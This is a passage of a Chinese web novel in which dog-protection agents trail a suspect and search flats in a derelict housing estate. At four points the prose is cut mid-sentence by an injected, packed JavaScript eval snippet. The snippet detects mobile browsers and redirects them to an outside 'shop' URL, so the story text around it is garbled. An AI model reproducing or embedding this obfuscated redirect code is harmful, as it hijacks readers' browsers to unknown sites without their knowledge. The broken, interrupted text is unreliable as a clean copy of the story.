风从南只好老老实实地待在修狗里当她的风师,接待客人维修小狗赚点辛苦钱。不过幸好薄暮光财大气粗,两人签订的兼职合同不按照实际工时发放工资,就算她没干活工资也照样发放。 薄暮光说是来店内当员工,确实也摆出了正职员工的工作态度,每天早上风从南还没起床他就已经到店。刚开始风从南还担心他会损坏店内财产,虽然店里也没什么值钱货,后来她被每天被迫早起刺激到了,想想薄暮光也不缺钱,损毁东西也会自觉赔偿。 风从南干脆把薄暮光的脸录入修狗大门的面部密钥,给薄暮光自主进出修狗的权利。 薄暮光得到风从南的信任,也没有得寸进尺,他还是保持着进出大门都会报备的良好习惯,非常有分寸感,风从南对他的好感又增加了两分。 谁会不喜欢一个兢兢业业还不需要工资的员工? 两人的距离逐渐拉近,风从南也对薄暮光稍微加深了了解。 他本职工作是一名画家,但他并不靠此谋生,本身家庭条件就非常优越,家族是小狗联邦有名的大财阀。薄暮光是父母独子,父母年纪尚轻,还能奋斗,不需要他接手集团,他只需要做一个定期收零花钱的富N代就够了。 他投资狗安处的事情父母也知道,还非常支持,给他拨了一批款项专门用于狗安处。除此之外,他还收养了许多流动小狗做小狗公益事业,支持领养流动小狗代替购买商品狗,致力于给每一个流动小狗一个温暖的家。 他家对面的一处别墅就是他买下的流动小狗屋,请了专业的小狗护理师轮班值守,24H无休,只为给流动小狗提供最好的生活环境。 风从南一问他家地址,正是白昼星富人区中的一处别墅群,房价高昂,单单物业维护费用就不是普通人能承担承担得起的。 她的嘴角流出了羡慕的泪水,果然投胎还是太看技术了。薄暮光在投胎上的技术堪称一刀999,秒了小狗联邦百分之九十九的人。 但他将钱用于投资狗安处和建设流动小狗公益事业也比较难得,风从南擦了擦嘴角的口水,掩饰心里的小九九。 薄暮光浑然不知,他还在打理住店维修的小狗,一只一只安抚过来。 平日里对风从南爱答不理的狗像是一下子打开了任督二脉,尾巴摇成螺旋桨,在他身上蹭来蹭去,更有热情的小狗直接扑到了他身上。 风从南也是第一次在现实中见识到万狗迷的威力,她的眼角又情不自禁地留下了忮忌的泪水,万狗嫌从未得到过这样好的待遇,她厚着脸皮钻进小狗堆里想要蹭蹭万狗迷的光环。 周围的小狗像是装载了系统一样,无视她的存在跑到另一边,专心致志地蹭着薄暮光。 风从南石化了。 她蹲在原地久久不动,无法想象自己的万狗嫌光环已经掩盖了薄暮光的万狗迷效应。 直到光脑发出了特殊的提醒音效,她才缓缓站了起来,缓解自己麻木的小腿和麻木的内心。 这是她特意给阮心玉设置的消息提醒铃声。 【小阮硬邦邦:模型已完成,待确认效果图如下】 (附件传输中) 【小阮硬邦邦:奶,如果你满意的话,咱就扣个666,我方便和我朋友确定制作工期】 【小阮硬邦邦:卖萌耶耶.jpg】 风从南点开光脑对话框,阅读完毕后将对话内容同步发送给狗安组组长闻璟处,闻璟扣一表示已读,并没有下达特定的回复指令。 风从南便按照自己的想法逐一回复阮心玉的信息。 【AAA有钱老奶不缺狗:奶很满意,扣个666。】 【AAA有钱老奶不缺狗:小阮,奶奶急用狗,制作工期大概要多久啊?】 【AAA有钱老奶不缺狗:在线等,挺急的。】 风从南接了杯水润了润自己干燥的口腔,薄暮光还在安抚逗弄住店小狗,她不知道该不该告诉他阮心玉回复消息一事,转念一想现在在她自己店里薄暮光只是一个员工,她作为老板没必要告诉员工自己的消息,更何况薄暮光也没有提前告诉自己他要了解案情。 风从南闭嘴不言,默默等待阮心玉的回复。 特殊的消息提示音再次响起,风从南连忙打开光脑回复消息。 【小阮硬邦邦:闪现.jpg】 【小阮硬邦邦:奶,您别着急,我特地给你的订单标注了加急单】 【小阮硬邦邦:这放在别人身上我都是要加收百分之二十的加急费的】
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17026595|194444||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 【小阮硬邦邦:谁让咱俩关系好,有缘分,朋友的单子我向来是不收中介费的】 风从南懂了,虽然阮心玉表面上不在意这中介费的三瓜俩枣,但她不能不给人情费,不然俩人虚假的朋友关系还得打个问号。 【AAA有钱老奶不缺狗:别整这些虚头巴脑的,奶稀罕你,就给你大红包】 (附转账8888星币,上标“自愿赠与”) 【AAA有钱老奶不缺狗:快收下,不收别怪我抽你】 (对方已接受您的转账) 【小阮硬邦邦:嗐,我俩还客气啥】 【AAA有钱老奶不缺狗:奶不缺钱,再念一遍我的星网名,憋跟奶整这些】 【小阮硬邦邦:那我就安心收下了,放心吧,奶,我一定给您好好地监督我朋友,保证满足您的定制需求,整出来一只一模一样的八品种混血白月光狗】 【小阮硬邦邦:这样吧,奶,我俩线下再约一次,老地方,我把小狗建模偷出来给你瞅瞅】 【AAA有钱老奶不缺狗:你不会被你朋友打死吧?!】 【AAA有钱老奶不缺狗:奶不需要你做到这个地步,你的心意奶心领了】 风从南已经完全沉迷于有钱老奶的人设了,一言一行信手拈来。 【小阮硬邦邦:放心吧奶,我俩谁跟谁,就这么说好了,明天老地方见】 【AAA有钱老奶不缺狗:把祝福送给你.jpg】 风从南只好回复一个老奶专用大字报表情包,把她和阮心玉的聊天记录再次打包发送给闻璟,闻璟直接在狗安处一组项目组群内艾特出夏沐泽和姚嘉,让她们明天跟着风从南行动。 * 找到44号大街新的黑市公告牌,风从南先二人一步到达五金废品店内,对着不修边幅的老头报出暗号:“BrO来了,绿爷在吗?” 老头嘴角弯起一个邪魅的笑:“我有孙子,你有吗?” 风从南接收暗号,回复道:“身为独子,我从来不敢坐下和父亲喝一杯,因为害怕看见父亲深邃的眼睛,父亲的眼睛是男人这辈子最恐惧看到的东西,而父亲的赞扬,是长子这辈子最想听见的称赞。” 她气都不带喘地一次性说出了一大段话,也不知道黑市公告栏上这一次的暗号是谁写的,又长又臭,还要对上两段话。 风从南乔装成老奶模样,戴上面具进入黑市,这次的黑市构造与上次不同,而阮心玉早早在黑市中心的流动摆摊处等待她。 风从南看见红发身影便迈步走了上去,拍拍阮心玉的背:“你奶来了。” 阮心玉从包里东摸西找,掏出了一个幼体小狗的模型,完全符合风从南瞎报的一系列定制要求。 风从南瞪大了双眼,布满皱纹的双手珍惜地摸了摸小狗模型:“简直一模一样!你们是怎么做到的?!这个技术我在其他大公司也没见到过。” 阮心玉一脸为难,没有回答她的问题。 风从南摆了摆手,把定制小狗模型递还给阮心玉:“我不是故意打探你们核心技术的,只是你们的技术太好了,完全可以收取更高的费用。” “我们做这个就是为了开心,赚钱什么的都是其次。”阮心玉咧开嘴笑道。 风从南自然不会全盘相信她的说辞。 两人你来我往,这次的阮心玉比上次更难套话,展现出本就俱备的高警惕性。 无奈,风从南没有获取到更多有用信息,先行离开,让夏沐泽和姚嘉留下来跟踪阮心玉的动向。 12. 跟踪阮心玉 “一组夏沐泽收到。” 夏沐泽接收到狗安处内部通讯,回复道。 风从南为隐藏好老奶这一条与阮心玉接触到直接身份先行离开黑市,她和姚嘉接替风从南的任务继续跟踪阮心玉。 夏沐泽乔装成中年男人,乱糟糟的长发垂下,两侧长长的刘海须遮住了她的脸,皮衣上蹭满了灰尘,和贫困区大多数男人一样落魄。 阮心玉就在她面前不到五十米处,狗安处在光脑上搭载的定位追踪系统牢牢地锁定她的位置,在夏沐泽的视网膜前投射了一道耀眼的光斑,把阮心玉的身影照得像个光球,与周围其他人灰暗的模样形成鲜明对比。 感谢新老板送来的投资,新的定位追踪系统真是太好用了。夏沐泽在心中感叹道,这和过去全靠双眼追踪的原始人技术简直不能比。 夏沐泽跟着阮心玉离开黑市来到宽阔的大街上,不远不近地跟着她。此时正值休息日,大街上的人比平时多三四倍,来来往往都是出游的一家人,空气中充满了快活的气氛。 人们嬉笑打闹,把这片平日里死气沉沉的街道渲染得生机勃勃。 然而他们的悲喜与夏沐泽无关,她的心几乎提到了嗓子眼。眼前的阮心玉突然放慢了脚步左顾右盼,似乎已经察觉到有人在跟踪她。 为了不让她发现,夏沐泽只好强装淡定继续前行,离阮心玉的距离也越来越近。 四十米,三十米,二十米,十米,五米…… 阮心玉停下了脚步,夏沐泽却不能放慢脚步,这太明显了,与周围的人群格格不入,显然会暴露自己的特殊。 三米,两米,一米…… 两人擦肩而过,夏沐泽的衣角擦过阮心玉的袖边,阮心玉才开始继续向前走,稍稍落后于夏沐泽两三米,神色肃然。 她显然没有放松警惕。 夏沐泽打开定位追踪系统的后视功能,再次感谢新老板的投资,放在以前可没有这种好东西,她后面又没长眼睛,只能依靠听脚步声判断对方离自己的距离。 她本以为危机暂时接触,能够继续跟踪阮心玉,对方却脱离人群,拐进了贫困区44号大街一处隐蔽的小巷子。 视线内已经失去了阮心玉的踪迹,夏沐泽打量着眼前的巷子,这里显然不是给人走的路,极其狭窄,仅可容纳一人侧身通过。 跟上去就暴露了自己正在跟踪阮心玉的事实,极有可能会被抓住,不跟上去就完全失去了阮心玉的线索,这次行动没有任何收获。 夏沐泽咬牙,攥紧了手,还是选择跟上去。 她将长发束起,方便进入小巷子,缩着身子擦进巷子里。皮衣和墙壁凑得紧紧的,摩擦出刺啦刺啦的响声,假发被她收进皮衣内,免得与墙壁摩擦掉下来。 夏沐泽挺着身子,穿过狭窄又黑暗的小巷,好在这条巷子并不算长,只花了三分钟便走完了。 眼前赫然出现了三道完全不同的新路,没有阮心玉的踪影。 她打开联邦安保处内部专用地图,调整实时定位,确定面前三条小巷里有一条是死胡同,有一条通往附近住户的私人住宅,剩下只有一条通向其他道路。 既然已经失去了阮心玉的行踪,就不用太着急追不上她了,夏沐泽收拾了一下着装,伪装成另一个青年女人的形象再次出发。 她走进了唯一一条通往其他道路的巷子,这条巷子与刚刚那条狭窄小巷不同,虽然比不上大路的宽广,但也畅通无阻,她顺着巷子来到了另一处道路,却没有看见任何人影。 这里是一处生活垃圾场,每天只有两班垃圾运输车固定早晚班前来运送垃圾。 似乎阮心玉的线索到这里就已经完全断了。 不,是在她拐进小巷子的时候就断了。 夏沐泽长舒一口气,还是不肯放弃,把这个小型垃圾场里里外外翻了遍,没有找到阮心玉的人影。她打开星网联络风从南和姚嘉,告诉她们自己跟丢了。 夏沐泽找了一处干净的角落,摘下帽子甩到地上,疲惫地躺下等待队友的回复。 跟踪阮心玉消耗的不仅是她的体力,还有心力,阮心玉极高的警惕心让她不得不时刻注意自己的言行举止是否合理,会不会暴露自己的身份打草惊蛇。也不知道风从南是怎么从她手里拿到的联系方式,这运气也太好了。 * 姚嘉收到夏沐泽的消息后并没有立刻回复她。 为保证这次跟踪任务的成功,她与夏沐泽分头行动执行同一个跟踪任务,哪怕一个失败了还有另一个可以接替。风从南也已经更换了伪装,从其他地方前来支援她们。 阮心玉钻进小巷子里并没有走三条小巷中的任何一条,而是依靠第一条狭窄巷子往上攀爬到房屋另一侧,从另一条道路出来混进人群中。 阮心玉显然发现了跟踪她的人,按照这条早有准备的路线甩开了夏沐泽,让她迷失在贫困区复杂的巷道中。 红发女人翘起嘴角,懒洋洋地圈着手中的长发,嘲笑不自量力的跟踪者。 干她们这一行的怎么不会反跟踪技术,甩开跟踪者只是其中最简单的一环。 姚嘉跟着阮心玉来到了贫困区的一处小区。小区看上去已经有些年头,外墙采用的是最廉价的涂装材料,就算生活在精心控制好的天气下也被摧残地掉了几块墙面。 小区外的大门上贴了歪歪扭扭的四个红色大字——幸福小区。 目前白昼星上的大部分小区大门都由小区中央系统统一管控,严格控制非业主人员的进出。由中央系统管控的小区大门上通常会用虚拟屏幕投射出小区大名,同步播放售房广告。 幸福小区歪歪扭扭的小区名就说明了它并没有安装小区中央系统,这也方便了姚嘉的进出。 她没有选择跟着阮心玉进入小区,而是从小区围栏的侧面远远跟着阮心玉,确定她进入的小区楼是哪一栋,然后发送实时定位到狗安处一组群聊。 远处的阮心玉甩着钥匙 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17026596|194444||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 哼着歌进入幸福小区,光脑却发出嘟嘟响声,提示她有紧急情况发生。看完消息后,她的面色逐渐转冷,加快脚步进入房子。 风从南和夏沐泽收到消息后以最快速度赶到了幸福小区,与姚嘉汇合。 “你确定是幸福小区六栋?”一个青年男人说道,声音低沉,这是风从南给自己捏的新人设。 姚嘉点点头,给她们两人分别发送了她刚刚收到同时发送的幸福小区资料。 幸福小区名为小区,实际上是一片废弃已久的烂尾楼。开发商以最低标准建了小区楼宇,用的材料都是白昼星淘汰了二十年的老旧建筑材料,还是收集其他小区用剩下的二手材料。 黑心眼的开放商将小区吹得天上有地下无,堪称是贫困区性价比第一的小区,引得无数人前来联系售房处,看房热线被打爆,线下看房人群众多,人满为患。 就在小区预订量高达三分之一,黑心开发商笑得嘴都歪了之后,记者爆出幸福小区热销背后的真相,当天直接冲上星网热搜第一。 愤怒的购房人群冲进开发商办公室要求退款退房,却已经人去楼空,只余下公司底层员工还在工作。 联邦警署发出通缉令,黑心开发商改头换面换了一个新身份,早早离开白昼星,手握购房款去其他小星系隐姓埋名生活。 现在的幸福小区里住的是当初买房被坑却要不回赃款的人和后来强闯进来随便挑了一户空房子居住的流动无业人群。 幸福小区没有小区中央系统,也没有物业管理,小区内部人员流动复杂,治安混乱,是附近片区有名的三不管地带,联邦警署几乎每天都要来小区出警四五次,最后和稀泥解决矛盾纠纷。 “所以我们现在要做的就是去幸福小区六栋找出阮心玉的据点?”夏沐泽问道。 姚嘉点头表示赞同。 风从南翻了翻从联邦警署调取的资料,厚厚一沓,轻皱眉头:“这个幸福小区每天都不太安宁啊……动不动就打架斗殴,邻里之间的关系堪比bro们遇上绿爷。” “你说的是最近被爆出来的绿爷?!不仅收钱,收油也可以的那个?”夏沐泽网速极快,星网梗一个也没落下,她挤眉弄眼道,“黑市新的联络暗号都换成这个了,绿爷星网大顶流来的。邻里关系和绿爷有什么关系?” “一触即发的关系。” 姚嘉沉默地听着二人你来我往,不懂她们又在聊什么星网新梗,打算回去恶补一下。 “咳咳,回归正题。”风从南清了清嗓子,“我们要怎么确定阮心玉在哪一户?幸福小区一栋楼有五层、十户,一户一户找起来很麻烦。” “这个嘛……”夏沐泽挠挠鼻头,不是很确定地说,“最近六栋有没有什么案件纠纷,可以让我们排除掉几户?” 风从南和姚嘉立马开始寻找联邦警署的记录,发现确实可以排除掉一楼和三楼两户,都是邻里矛盾。 “那就只剩下二楼、四楼和五楼了。” 13. 幸福小区(一) “正好三楼,每楼两户,我们一人一楼排查。”风从南对姚嘉和夏沐泽道,“我负责五楼,夏沐泽二楼,姚嘉四楼。最好不要用同一个理由,不要三个人同时进去。” 夏沐泽和姚嘉点点头,三人分头行动可以提高效率。 夏沐泽先姚嘉和风从南两人进入幸福小区,幸福小区外墙荒废,都是金属锈蚀的痕迹,充满了年代感。内部也不遑多让,小区里的绿化几乎为零,荒秃秃的,干燥皴裂的土壤裸露在阳光下,地上有许多人随手乱丢的垃圾。 小区垃圾站更是恶臭熏天,垃圾堆积如山,看起来不知有多少个年头了,有些垃圾都化在了地上,留下一滩黏糊糊的黑水,所有人都绕着垃圾站走,绝不靠近这里半步。 夏沐泽找到幸福小区六栋,小区楼里的步梯也是最古老的水泥砌筑法,更别谈电梯了。一楼住户在窗户外安放了一些盆栽蔬菜,绿油油的,长势正好。 她重重踩上楼梯,故意发出声响,一步一步像是要在楼梯上刻下一个脚印。 一靠近二楼走廊,空气中就传来一股近似于垃圾站的恶臭气味,也就比垃圾站堆积好几年的垃圾弱了两三分。走廊地上蔓延着黑色不明污渍,蚊虫环绕,发出烦人的嗡嗡声,绕着垃圾打转进食。 夏沐泽皱起眉头,心里却是有几分暗喜,二楼住户的居住环境说明这两户人家都不是什么好人,起码卫生环境上一定给周围邻居造成了困扰,正好方便她来找茬。 她小心翼翼地绕过地上的黑色污渍,清了清嗓子,使了大力同时拍201和201的门。 夏沐泽没有收力,铁门被她拍得发出清脆的响声,见两户人家没反应,她又加重了几分力气,拍得框框作响,有一扇大门甚至发出了不堪重负的喀吱声,像是随时要死于非命。 终于,两边的大门同时打开,分别走出了一个骨瘦如柴的男人和一个看着就不好惹的大妈,面色黑沉。 夏沐泽挺了挺大肚子,一点也不怵他们。她早在外面就已经想好怎么打探消息了,假扮成一个大腹便便的中年男人,手臂上都是腱子肉,还特地整了一条花臂,左眼弄了一条刀疤,像是从牢里刚放出来。 “你想干什么?”清瘦男人低声道。 “大白天的搁别人家拍拍拍,你是不是闲了没事做!”大妈翻了个白眼,没好气地讽刺夏沐泽。 夏沐泽拽起瘦男人的领子,眼神却是瞪着大妈,沉声道:“我要进你们家看看。” “什么人啊!你说想进我家我就给你进,咋滴,你家开警署的?”大妈叉腰,往地上呸了一口口水,毫不畏惧夏沐泽的吨位。 夏沐泽把瘦男人丢回地面,转头走向大妈,低下头与她对视道:“我刚从警署里出来。本来在里面待了一年睡得就不太好,回来这几天还要被你们吵醒。我就住一楼,这几天晚上你们在楼上搞的动静听得一清二楚,晚上就算了,大早上的也不停歇。” 大妈像是想起了什么,眼神略微躲闪,有一丝心虚,但随即拍了拍自己的胸膛,又充满了对峙的底气。 “你们做了什么自己心里清楚,我倒要看看你们谁家的小孩整天在家里尖叫跳绳,我家的天花板都在震动。”夏沐泽冷笑道,一拳头锤在墙上,带下了一块墙面,“我也不是不讲理的人,待在牢里这么多年脾气都变好了,放在以前我都是直接进你们家里抢人的。” 大妈的身躯还是把她的家门堵得严严实实的,夏沐泽一把把她拎走,稳稳地摁在走廊地面的污渍上。大妈尖叫着,拖鞋粘上黏黏糊糊的污渍,连带到她的腿上。瘦男人见状想要关上家门偷偷溜走,被夏沐泽余光瞄到,拽住他直接进了大妈的家。 “你也给我老实点,别整什么小动作。”夏沐泽警告道,一边拽着瘦男人,一边开始搜查大妈的家。 大妈应该是独居,玄关处只有女人的鞋子,但夏沐泽眼尖看见了鞋柜里摆放着一双小孩的拖鞋。 夏沐泽暗喜,嘴角微微上翘,随便找的理由还真误打误撞地符合现实,不愧是她“幸运一夏”。 “幸运一夏”是狗安处其他人对她的调侃称呼,她在以往行动中经常能够巧合地找出有效的案件线索锁定嫌疑人。 大妈家里和外头倒是不一样,意外的整洁,所有家具都摆放有序,地面擦得一尘不染。虽然已经能够确定这不是阮心玉的据点,夏沐泽还是查看了所有房间,确保房间里没有藏人。 她拎着瘦男人走出了大妈家里,神色凶煞:“就你家里养了个小孩是吧,虽然东西藏得挺好,还是给我找出来了,就你家小孩天天在我头上跳绳?!” 不等大妈回答,瘦男人就挣扎着率先开口:“哥,大哥,既然已经找到是这老女人家的小孩惹事,就别看我家了。我家清清白白的,啥也没有,我现在还是个单身汉呢。” “这里轮得到你说话吗,就在这叫叫叫!”大妈不满地瞪圆了眼睛,直直闯进了瘦男人家敞开的大门,“既然我家被看过了,你家也别想跑。” 这大妈还是有点作用的,夏沐泽从兜里掏出一张价值一百的实体星币拍在大妈身上:“这钱就当补偿你家地面清扫费了,以后给我注意点,下一次你家小孩犯事再让我逮到就没这么轻松了。” 夏沐泽提溜着瘦男人进入201,瘦男人显然不是幸福小区的长期住户。201的地面还是最原始的水泥地面,202的地面是大妈特意更换的木质地板和瓷砖,这里的水泥甚至铺得不平整,能清晰地看见自动水泥刷机器刷出的大片刷痕,粗糙廉价。 空荡荡的房间里只摆放了生活的基本家具,一张床、一个缺脚的椅子,一张书桌就是夏沐泽所能看见的全部。 大妈先于他们两人之前进去,看到这寒碜的样子,不由得皱了皱 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17026597|194444||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 眉:“小伙子,你这日子过得也太差了吧。年纪轻轻的有手有脚,找份工作不至于过成这样的撒。” “关你什么事!”瘦男人面部涨得通红,他也知道自己过着下水道老鼠一般的日子。 “好心提点你两句还要遭人怨,哪里有这样的道理撒。”大妈见他不领情,自顾自坐在了瘸脚椅子上。 夏沐泽把其他房间一一看了个遍,确定201也没有可以藏人的地方,走出房间,大妈和瘦男人仍然在拌嘴。她从兜里摸出另一张同样价值一百的实体星币扔在瘦男人手里,把两个人都拎到她面前。‘ 吃人嘴短,瘦男人和大妈攥着夏沐泽给的星币,像两只鹌鹑一样缩在夏沐泽面前,唯唯诺诺的。瘦男人一直都是这副样子,反而大妈熄了气焰,看得夏沐泽有些惊奇。 “行了,我也不多说,你们俩给我紧着点皮子。外头走廊里的垃圾也给我扫干净,天天整那么恶心想干啥,我不说一楼,四楼、五楼都能闻到你们门口的垃圾臭味。这次我盯着你们扫,要是还有下次,别怪我不客气。” 夏沐泽状似无意地捋了捋袖子,露出一个结实的大花臂,把面前的两人哄得一愣一愣的。 “哥,你这胳膊能让我摸摸不?我从小就特别羡慕你这种体型,一直练不出来,你这胳膊线条简直是艺术,上面的纹身也好帅,是按照肌肉线条特地定制的吗?”瘦男人一改之前的懦弱,试探地伸出手想要摸摸夏沐泽的胳膊。 夏沐泽也不拦着,这个中年大叔形象她已经想扮很久了,还精心定制了一个特殊的纹身图样,定制的价格比她上一天班的工资还要多,而且只能使用一次。夏沐泽不缺钱,经常整一些小玩意儿哄着自己上班,上班获取的情绪价值对她来说比那三瓜俩枣的工资宝贵多了。 眼下,她的品味被这个皱皱巴巴的瘦男人夸赞了,连最懂她品味的风从南都没有夸她这个形象,夏沐泽如果有尾巴,这会儿已经翘到天上去了。 “这个纹身我可是花了大价钱定制的,好看是应该的。像你这种瘦得可怜的白斩鸡先练练肌肉,再考虑要不要纹身。”夏沐泽强压下自己的嘴角,保持高冷不好惹大哥的形象,“快点儿把门口扫干净。” “……哦。” “好的大哥,小弟明白。” 大妈从自己家里拿了打扫工具,分了瘦男人一把,两人老老实实地开始打扫二楼走廊,夏沐泽就站在干净的地方看着他俩打扫,自己也算是做了件好事吧,推动邻里关系改善,谁说她不是个好人呢。 哒、哒、哒。 一步一顿的脚步声沉稳安静,是夏沐泽最熟悉的人之一。她听见这个节奏分明的脚步声和面前两人打扫走廊发出的沙沙声混在一起,像是传递给彼此最隐蔽的信号。 姚嘉一身工人制服,头戴棕褐色工帽,腰上挎着一个工具包,无声地越过三人。 14. 幸福小区(二) 姚嘉越过正在打扫的两人,转身向四楼走去,视线却与夏沐泽短暂对上了。 只一眼,搭档多年的默契便告诉她,面前的这两人与以旧换新的小狗一案无关。 她微微点头示意夏沐泽自己已经知晓,继续向幸福小区六栋四楼走去。 姚嘉从小不善言辞,能不说话就不说话,必须要说话的时候话语简洁到了极点,这样的她在情感上并不是榆木脑袋,相反,她十分擅长阅读他人的微表情和动作,能够给予对方准确及时的情感反馈。 根据她刚刚调查得到的情报信息可知,幸福小区相邻的和平小镇因物业监管不力,出现了整栋地线缺失的情况,一整栋楼全在漏电,导致小区内人员伤亡。该漏电事件在昨天发生,不知道有没有扩散到幸福小区住户群体内部,但这恰恰是她切入调查的好角度。 姚嘉在夏沐泽前往二楼调查的极短时间内通过狗安处内勤同事联系到联邦能源署进行沟通,昨天发生人员伤亡后,他们立刻联合联邦警署逐一排查了和平小镇内其他楼宇的漏电情况。今天计划排查附近小区的漏电情况,避免再次出现同样的现象。虽然幸福小区是烂尾楼,但它也不例外。 狗安处安排的伪装课程涵盖各行各业,联邦其他行政部门更是极佳的伪装身份,他们的专业课程都在狗安处安排的学习中,每个进入狗安处的新人都要经过内外勤加课外学习的联合训练。 姚嘉自然也不例外,联邦能源署的各种工种里电路检测工是最简单的一种,只需要一天时间学习就可以完全掌握。她与联邦能源署沟通过后拿到了对方紧急送来的电路检测工制服,作为代价就是她们三人完成任务后要负责整个幸福小区的电路检修,无额外工资版。 姚嘉对此无所谓,她完成工作后回家也是躺在床上刷星网恶补夏沐泽和风从南的梗,但她一想到两人得知此事后天都要塌了的样子就忍不住想笑。夏沐泽会因为付出额外工作时间嘟嘴不满,风从南更简单,只要给足了工资,她才不在乎什么加班不加班,但是无偿工作一定会让她仰天长啸,痛骂上司。 自从风从南离职后,都是她一个人听着夏沐泽快嘴说唱,当个捧哏时不时应和两句,现在风从南回归,她们俩站在那就是一出戏,她只需要站在旁边默默倾听,不说话也很幸福。 姚嘉喜欢这种氛围。 但现在还不能松懈,下班后的日子固然多姿多彩,要是任务失败身上更是多姿多彩,会被狗安处一组其他人亲切地问候, 姚嘉整肃面色,再次检查了一遍自己的着装,轻轻敲了敲401的门。 房门很快打开,比人先出来的是一声暴躁的嗓音。 “不都说了外卖放门口别敲门,我还重复发了三次,你小子愣是装作没看见是不是!” 一个穿着红色大裤衩子搭配老头背心的年轻人怒气冲冲地走了出来。他的头上穿满了孔洞,鼻钉、唇钉、眉骨钉一个不落,耳朵上挂满了各色耳饰,搭配上五颜六色的毛躁短发,活脱脱一个非主流小混混。 他看见姚嘉的打扮先是一愣,随后不好意思地挠了挠头:“原来不是送外卖的啊……你有什么事吗?” “联邦能源署派来幸福小区的电路检测工,隔壁的和平小镇昨天出现电流外泄情况,导致人员伤亡,我们今天上门给周围的小区统一进行电路检修,保护联邦人民的生命安全。” “哦哦哦!我知道,我隔壁小区的哥们跟我说了,死的那个人老倒霉了,听说是电成了人形黑炭,摸一摸都掉渣。唉,姐们,你知不知道内幕啊?这真的只是意外吗?背后有没有什么惊天大秘密!”小混混自然地打开大门把姚嘉迎了进来,丝毫没有质疑她的身份。 姚嘉看他一脸非主流的样子,像是随时要去贫困区21号大街拜个大哥从此走上和联邦警署对抗的道路,实则这人是个碎嘴子,和夏沐泽差不了多少,满心满眼都是八卦。 见姚嘉没有回答,只是专心检修全屋电路情况,小混混搓了搓手,积极性丝毫没有受到打击。 他自顾自说了下去:“我哥们说还有一种说法,就是死的这个人得罪了不该得罪的人。对方是个玄学大师,开天眼改变这人家里的电路情况,虚空做法给他电死了。哎哟哟,现在的玄门可真不得了,这也太强了,我也想去拜个师。” 他可以自己和自己对话,完全不需要姚嘉回应她。 小混混又说了几种可能,要么是从他哥们那里听来的,要么是从隔壁小区星网讨论组上看来的消息,越说越离谱。姚嘉一开始还想要劝他少看论坛,越听越沉默,最后干脆一边检查他的房屋,一边听听还有多少种离谱的谣言。 确定这里不是阮心玉的据点,并且房屋内电路也一切正常之后,姚嘉收拾好东西离开401。 “一切正常,联邦能源署祝您生活愉快。” 身后的小混混还恋恋不舍想要挽留她:“姐,别走啊,跟你聊天真开心。真没有啥内幕消息可以跟咱说道说道的吗?我家就住这,你打听到了可以随时来我家找我玩啊!” 全程非必要没开口说一句话的姚嘉:“……” 这人跟谁聊天应该都很开心吧。 姚嘉想起了什么,回头问他:“你楼上有人住吗?我等会儿要去楼上检修电路,但这里是——” 姚嘉还没解释完原因,小混混便一脸开朗地告诉她:“有的,姐,有的。我楼上的501绝对有人,我白天睡觉经常听见咚咚咚的声音,不知道在整啥幺蛾子。” 姚嘉点头致谢,从包里掏出一小盒两枚鸡蛋赠送给他。这是联邦能源署传授的秘籍之一,能够帮助工作人员极快拉近与人民之间的距离。 果不其然,收到鸡蛋的小混混一脸惊喜,美滋滋地感谢她后难舍难分、一步三回头地离开走廊,关上了门。 402门口收拾得干净,一袋扎好口子的垃圾袋被 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17026598|194444||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 放在门边角落里。姚嘉轻轻敲了敲402的门,没有开。她又敲了半分钟,还是没有开。 根据门口这袋垃圾来看,里面不可能没人住。 姚嘉耐心地敲了敲门,薄薄的门板背后传来一阵细微的脚步声。但门还是没有开。 她提高声音,对门内的人说:“我是联邦能源署派来的电路检修工,你们隔壁的和平小镇出现了整栋楼漏电现象,导致有人死亡。联邦能源署为了保障人民生命安全,让我们给周围所有小区进行全屋电路检测。” 门犹犹豫豫地打开了一个小缝。 “我没听说隔壁小区有这种事,你有工作证件吗?” 幸好提前准备好了工作证,姚嘉从包里掏出证件递给她。 